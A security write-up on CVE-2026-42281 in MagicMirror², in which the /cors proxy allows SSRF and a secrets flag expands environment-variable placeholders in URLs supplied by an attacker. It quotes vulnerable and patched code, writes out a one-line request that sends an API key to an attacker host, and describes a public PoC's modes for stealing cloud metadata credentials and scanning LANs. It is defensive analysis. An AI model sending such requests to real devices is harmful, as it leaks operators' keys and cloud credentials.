The MagicMirror² operator turned hideConfigSecrets on because the documentation said it protects secrets. It does. It strips environment variables out of /config so the smart mirror on the kitchen wall never shows an API key to a guest reading the JSON. The same boolean, in the same release, on the same server, also reaches into outbound URLs at /cors and substitutes those environment variables before fetching. Any device on the same Wi-Fi can ask the mirror to fetch https://attacker.tld/?leak=**SECRET_OPENAI_API_KEY**, and the mirror will resolve the placeholder, attach the live key as a query string, and ship it to whatever host the attacker controls.
CVE-2026-42281: MagicMirror's hideConfigSecrets Hides Them in /config. It Expands Them in /cors.
patterns
cve
proof of concept
The /cors endpoint was written for the kiosk threat model
MagicMirror² is the open-source smart-mirror project from MagicMirrorOrg. It runs as a Node.js plus Electron app on a Raspberry Pi behind a two-way mirror, displaying weather, calendar entries, news headlines, and stock tickers in a kitchen or hallway. Modules are browser-side; they fetch from third-party APIs over XHR. Browser CORS policy blocks most of those calls, so the project added a server-side proxy at GET /cors. The handler accepts a url query parameter and re-issues the request from the Node process, returning the response body to the browser. By design, it is an open HTTP client.
The kiosk threat model is what justified this design. A MagicMirror is something you put on your own wall and look at. The server binds to localhost by default. The default ipWhitelist is ["127.0.0.1", "::ffff:127.0.0.1", "::1"]. The browser running on the mirror is the only client. Inside that frame, "let modules fetch arbitrary URLs" is a reasonable convenience, because the only caller is the device the operator owns.
The kiosk threat model is also wrong, and the patched release admits this in code.
ipWhitelist is the only authentication
Look at js/server.js around the routing table. The order is helmet, then ipAccessControl, then the static directories and the routes. The route /cors is registered with app.get("/cors", async (req, res) => await cors(req, res)). There is no session check, no token, no auth header, no per-route middleware between the IP filter and the handler. If a request makes it past the IP filter, cors() will run for whoever asked.
The IP filter itself is a thin wrapper around ipaddr.process(). It walks the whitelist, accepts CIDR entries, normalizes IPv6 forms. The interesting branch is the empty-array case in js/ip_access_control.js:
if (!Array.isArray(whitelist) || whitelist.length === 0) {
return function (req, res, next) {
res.header("Access-Control-Allow-Origin", "*");
next();
};
}An empty whitelist means allow everything, including a permissive Access-Control-Allow-Origin: *. The MagicMirror docs and community guides routinely walk users through expanding ipWhitelist to their home subnet so they can hit the dashboard from a phone, then later through emptying the array to debug. Operators who do that have just removed the only gate that stood between the LAN and /cors.
That is the floor of authentication. The rest of the post sits on top of it.
The cors() handler is an open HTTP client
Here is the vulnerable handler in v2.35.0, paraphrased from js/server_functions.js:
const match = new RegExp("url=(.+?)$", "g").exec(req.url);
url = match[1];
if (config.hideConfigSecrets) {
url = replaceSecretPlaceholder(url);
}
const headersToSend = getHeadersToSend(req.url);
const expectedReceivedHeaders = geExpectedReceivedHeaders(req.url);
const response = await fetch(url, { headers: headersToSend });
if (response.ok) {
for (const header of expectedReceivedHeaders) {
res.set(header, response.headers.get(header));
}
res.send(Buffer.from(await response.arrayBuffer()));
}Read it as a contract. The caller hands the server a URL. The server fetches it. The caller hands the server a list of outbound headers via sendheaders=, and the server attaches them. The caller hands the server a list of inbound headers via expectedheaders=, and the server passes those response headers back. The body of the response goes back verbatim as bytes.
There is no protocol check. The URL can be file:, gopher:, ftp:, http://169.254.169.254/latest/meta-data/, http://192.168.1.1/, or http://localhost:6379/. The Node fetch implementation will accept what it accepts, and the server will relay whatever comes back.
There is no host check. There is no DNS resolution before the call to fetch. There is nothing that says "if the resolved address is in RFC1918, refuse." There is no localhost block. There is no metadata-service block.
There is no rate limit. There is no logging beyond Log.log("cors url: " + url).
This is a fully attacker-controlled HTTP client. The only thing that limits its reach is the network the Node process is sitting on, and the Node process is, by deployment convention, sitting on a small LAN that contains the operator's router admin panel, their printers, their smart locks, and, if the kiosk is hosted in the cloud, their cloud metadata service.
hideConfigSecrets is the gate that wires the env-var leak
Now read replaceSecretPlaceholder, also in v2.35.0:
function replaceSecretPlaceholder (input) {
return input.replaceAll(/\*\*(SECRET_[^*]+)\*\*/g, (match, group) => {
return process.env[group];
});
}The function was designed to support module configurations that say apiKey: "**SECRET_OPENWEATHER**" and have the server substitute the real key from the environment. The intended caller is the config loader. The function does no validation on where the input came from.
The cors() handler calls this function on the request URL, gated on config.hideConfigSecrets. Read that gate slowly. The semantic of hideConfigSecrets is "redact secrets from the /config response, because we do not want the browser to show them." It is a defensive flag. Operators turn it on because the documentation tells them it protects them.
When hideConfigSecrets is on, two things happen. The first is that /config returns a redacted version of the config object. The second is that /cors begins expanding **SECRET_* placeholders in attacker-supplied URLs. The flag named for hiding secrets is also the flag that opens an exfiltration primitive for them.
The attack request is one line:
GET /cors?url=https://attacker.tld/?leak=**SECRET_OPENAI_API_KEY**The server reads the request, matches the regex, sees the placeholder, calls into process.env, builds the substituted URL https://attacker.tld/?leak=sk-proj-..., and fetches it. The fetch logs as a normal outbound request. The query string carries the key. The attacker host receives the key in their access log.
There is no asymmetry of trust here that the design accounts for. The placeholder syntax was meant for the config loader. The cors() handler reuses the loader function on input it never validated.
The PoC reads the playbook out loud
The reference exploit lives at github.com/Astaruf/CVE-2026-42281. It is a 633-line Python script with six modes. Each one targets one feature of the cors() handler and turns it into a primitive.
--check does a baseline reachability test. The PoC sends GET /cors?url=https://httpbin.org/get and inspects the response. If the body is the httpbin JSON, the proxy is live.
--config drains /config. The MagicMirror server exposes the full config object at GET /config when hideConfigSecrets is off, or a redacted version when it is on. The PoC fetches the endpoint directly, JSON-parses the result, and recursively walks every object for keys whose names match key, token, secret, password, pass, apikey, auth, credential. This is the unauthenticated exfil pass that does not even require the /cors trick. The /config endpoint sits behind the same ipWhitelist gate as everything else.
--cloud is the high-value one. The PoC iterates a table of cloud metadata endpoints: AWS IMDSv1 at 169.254.169.254 (with the optional X-aws-ec2-metadata-token dance for IMDSv2), GCP metadata.google.internal with Metadata-Flavor: Google, Azure 169.254.169.254 with Metadata: true, OCI 169.254.169.254/opc/v2, DigitalOcean, Alibaba, Hetzner, IBM Cloud, the Kubernetes API at 10.x and 172.x ranges, Rancher, Equinix. For AWS specifically, if the PoC finds a list of IAM roles at /latest/meta-data/iam/security-credentials/, it auto-follows to grab the temporary credentials. The cors() handler relays every one of these requests without complaint.
--port-scan opens a ThreadPoolExecutor with thirty workers and walks a target host on the LAN. It sends GET /cors?url=http://192.168.1.1:22/ and similar, recording the HTTP status and timing. Connection-refused looks different from open-but-not-HTTP, which looks different from a real HTTP response. With thirty parallel proxied probes, a /24 is mapped in under a minute.
--headers reads back response headers via expectedheaders=. That is the primitive for fingerprinting internal services that do not return useful bodies but do return distinctive Server: or X-Powered-By: headers.
--open-proxy is the catch-all. It exposes the /cors endpoint to the public internet as a forward proxy that anyone can ride. Combine it with the env-var leak and you have an open relay that signs outbound requests with the operator's live API keys.
Six modes, one endpoint, one config flag.
The patch closes the kiosk threat model
The v2.36.0 release rewrites cors() and replaceSecretPlaceholder. The diff names the threat model out loud.
First, a new top-level config key. The cors function reads global.config.cors and refuses to run if the value is "disabled". If the value is "allowWhitelist", the handler requires global.config.corsDomainWhitelist and rejects any hostname not on the list. If the value is "allowAll", the handler still runs but with the SSRF protections below.
Second, a protocol check. After parsing the URL with new URL(url), the handler rejects anything that is not http: or https:.
Third, an explicit localhost block before DNS:
if (parsed.hostname.toLowerCase() === "localhost") {
return res.status(403).json({ error: "Forbidden: private or reserved addresses are not allowed" });
}The string localhost is rejected by name before any resolver gets involved.
Fourth, a DNS lookup and IP range check:
const { address, family } = await dns.promises.lookup(parsed.hostname);
if (ipaddr.process(address).range() !== "unicast") {
return res.status(403).json({ error: "Forbidden: private or reserved addresses are not allowed" });
}The ipaddr.js library tags every address with a range (unicast, loopback, linkLocal, private, reserved, multicast, broadcast, carrierGradeNat, unspecified). The patch inverts the allowlist: only unicast is permitted. Everything that smells private, reserved, or special is gone.
Fifth, a pinned dispatcher. The validated IP is wired into an undici.Agent whose connect.lookup callback returns the address that already passed validation. The comment in the source names the threat: // This prevents DNS rebinding / TOCTOU attacks (GHSA-xhvw-r95j-xm4v). Without the pin, an attacker could resolve to a public IP for the validation pass and a private IP for the actual fetch. The pin closes that gap.
Sixth, the secrets gate. The new replaceSecretPlaceholder refuses to substitute when cors mode is allowAll:
if (global.config.cors !== "allowAll") {
return input.replaceAll(/* expand env vars */);
} else {
if (input.includes("**SECRET_")) {
Log.error("Replacing secrets doesn't work with CORS `allowAll`, you need to set `cors` to `disabled` or `allowWhitelist` in `config.js`");
}
return input;
}The flag that wired the leak is now disarmed in the mode where attacker URLs can reach the substitution. The error message names the trade-off explicitly to the operator.
Six countermeasures answering six attack modes. The patch is not a one-line fix. It is an admission, written in code, that the kiosk threat model never matched the deployment reality.
The threat model is in the release notes now
This is the part worth lingering on. MagicMirror² is not a server in the data-center sense. It is a device that sits in a kitchen or a hallway, on a home LAN, plugged into a Raspberry Pi. The original /cors design assumed the only client was the local browser. The patch assumes the client could be anything on the network with an IP address, including a cloud metadata service the kiosk happens to share a subnet with.
Those are different products. The first product is a kiosk. The second product is an internet-exposed-by-accident HTTP proxy with environment-variable substitution. The code did not change between those two readings; the threat model did.
For operators on v2.35.0 and earlier, the immediate mitigations are: set ipWhitelist to the smallest set of literal IPs that need to reach the mirror; do not empty the array, ever; do not put the mirror on a public interface; treat hideConfigSecrets as the flag that enables secret expansion at /cors, not as the flag that protects them; and upgrade to v2.36.0, where the new cors: "disabled" default closes the proxy unless explicitly opened.
The catalog has two names for this shape
The first name is trust inversion. The control that was supposed to protect secrets, the hideConfigSecrets flag, is the same control that wired the exfiltration path. The protective gate and the leak gate are one boolean. Flipping it on to redact /config flips on env-var substitution against attacker-supplied URLs at /cors. There is no second control to disagree with the first; the protective intent and the offensive primitive share a line of code.
The second name is internal only by convention. The /cors endpoint had no authentication of its own, only the assumption that whoever reached the port was the local browser. Its safety was held by the deployment convention that the mirror sits behind the operator's home router, not by anything in the handler. The string localhost was never validated against; the resolved IP was never checked against an RFC1918 range; DNS was never resolved at all before the outbound fetch. The handler had no internal contract about who its caller was, because the framework offered none. v2.36.0 ends both: the new cors mode defaults to "disabled", the env-var substitution refuses to run in the one mode that lets attacker URLs reach it, and the host check finally moves from the deployment topology into the handler.
The MagicMirror operator did not misconfigure their mirror. They followed the documentation. The documentation described a feature that was protective inside the original threat model. The model was retired, and the operator was not told.
The flag named to hide the secrets was the wire that leaked them.